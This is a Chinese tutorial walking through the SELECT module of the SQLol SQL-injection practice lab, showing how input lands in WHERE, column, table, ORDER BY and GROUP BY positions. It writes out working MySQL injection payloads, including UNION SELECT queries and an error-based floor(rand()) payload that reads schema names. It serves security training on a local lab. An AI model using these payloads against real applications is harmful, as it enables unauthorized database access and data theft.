天天看點

SQL注入測試平台 SQLol -2.SELECT注入測試

    前面,我們已經安裝好了SQLol,打開http://localhost/sql/,首先跳轉到http://localhost/sql/select.php,我們先從select子產品進行測試。

一條完成Select語句,大緻可以這樣表示:

SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]
      

接收的參數可能拼接到上述語句中【】的任一個位置。

注射位置不同,構造sql注入語句的方法也有所不同,但大緻可以劃分為三種。

1、聯合查詢(union select)

2、報錯注入

3、盲注(布爾類型、時間延遲類型)

有的注入點可以同時使用多種方法注入,這裡隻示範一種。

下面示範注入到不同位置的方法。

一、WHERE 子句裡的字元串

Tips:字元型注入;

在注射字元串中輸入:admin,顯示語句,選擇注射位置為,WHERE子句裡的字元串,傳回的資訊為:

SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC       

可以知道我們輸入的admin,被拼接到where子句裡面,然後我們開始構造POC:

admin' union select user()#      

如下圖,我們取得資料庫使用者名(root@localhost),可以将user()替換為其他查詢語句查詢其他資料。

SQL注入測試平台 SQLol -2.SELECT注入測試

二、WHERE 子句裡的數字

Tips:與上面的WHERE 子句裡的字元串類似,所不同的,這是數字型注入;

在注射字元串中輸入:1,顯示語句,選擇注射位置為,WHERE子句裡的資料,傳回的資訊為: 

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC 
      

構造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC       

如下圖,我們取得資料庫使用者名。

SQL注入測試平台 SQLol -2.SELECT注入測試

三、整個語句

Tips: 直接可以執行任何sql語句

在注射字元串中輸入:select * from users,users為資料庫使用者表,顯示語句,選擇注射位置為,整條語句,傳回的資訊為:

select * from users 
      

可以在這裡輸入任何的sql語句執行。

SQL注入測試平台 SQLol -2.SELECT注入測試

四、Column 名稱

Tips: 注入位置在username

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 
      

利用方式:

1、輸入字段查詢users表,或直接用*代替,查詢users表中所有的資料

SQL注入測試平台 SQLol -2.SELECT注入測試

2、注釋掉後面的語句,與select直接拼接,例如:注射字元串位置輸入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 
      

替換version(),輸入其他資料庫查詢語句,可查詢其他資料

SQL注入測試平台 SQLol -2.SELECT注入測試

五、Table 名稱

 Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 
      

1、輸入正确的表名,union select查詢

SQL注入測試平台 SQLol -2.SELECT注入測試

 

六、ORDER BY 子句

Tips:注射位置在order by  

當使用union操作時,排序語句必須放在最後面才正确,就是說隻能在union的最後一個子查詢中使用order by,是以這裡不能用union slect。

報錯注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
      

得到資料庫sqlol,可以使用其他語句繼續報錯注入。 

參考資料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

SQL注入測試平台 SQLol -2.SELECT注入測試

七、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 語句用于結合合計函數,根據一個或多個列對結果集進行分組。

利用方式:  

1、與order by 一樣,直接報錯注入

2、在MSSQL中,可以利用group by  , having 進行爆目前列

SQL注入測試平台 SQLol -2.SELECT注入測試

八、HAVING 子句

Tips:having位置

SQL注入測試平台 SQLol -2.SELECT注入測試